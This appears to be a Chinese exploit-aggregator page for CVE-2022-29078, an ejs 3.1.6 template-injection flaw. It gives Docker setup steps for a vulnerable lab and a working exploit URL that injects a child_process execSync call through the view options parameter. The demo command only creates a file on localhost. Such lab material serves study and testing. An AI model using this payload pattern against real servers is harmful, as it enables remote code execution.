POC详情: a5d744c241e4f405359011039d412c18487c089a

来源
关联漏洞
标题: Github ejs 代码注入漏洞 (CVE-2022-29078)
描述:Github ejs是嵌入式 JavaScript 模板。 ejs 3.1.6 版本存在代码注入漏洞,该漏洞源于 settings[view options][outputFunctionName] 中可以进行服务器端模板注入。 这被解析为内部选项,并使用任意 OS 命令(在模板编译时执行)覆盖 outputFunctionName 选项。
描述
vuln ejs 3.1.6 docker
介绍
# CVE-2022-29078
vuln ejs 3.1.6 docker

## Setup
```
git clone https://github.com/miko550/CVE-2022-29078.git  
cd CVE-2022-29078
docker build . -t miko/vuln-ejs
docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs
```
## Usage
```
http://127.0.0.1:49160/
```
## Exploit
### In browser
```
http://127.0.0.1:49160/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s
```
### Verify exploit
```
docker exec -it vuln-ejs /bin/bash
ls -la /tmp
```

# Reference
https://eslam.io/posts/ejs-server-side-template-injection-rce/
https://github.com/Olusamimaths/templating-with-ejs
文件快照

[4.0K] /data/pocs/a5d744c241e4f405359011039d412c18487c089a ├── [ 923] app.js ├── [ 345] Dockerfile ├── [ 273] package.json ├── [ 49K] package-lock.json ├── [ 653] README.md └── [4.0K] views ├── [4.0K] pages │   ├── [ 406] about.ejs │   ├── [ 462] articles.ejs │   ├── [ 246] index.ejs │   └── [ 49] page.ejs └── [4.0K] partials ├── [ 553] footer.ejs ├── [ 537] head.ejs └── [1.0K] header.ejs 3 directories, 12 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。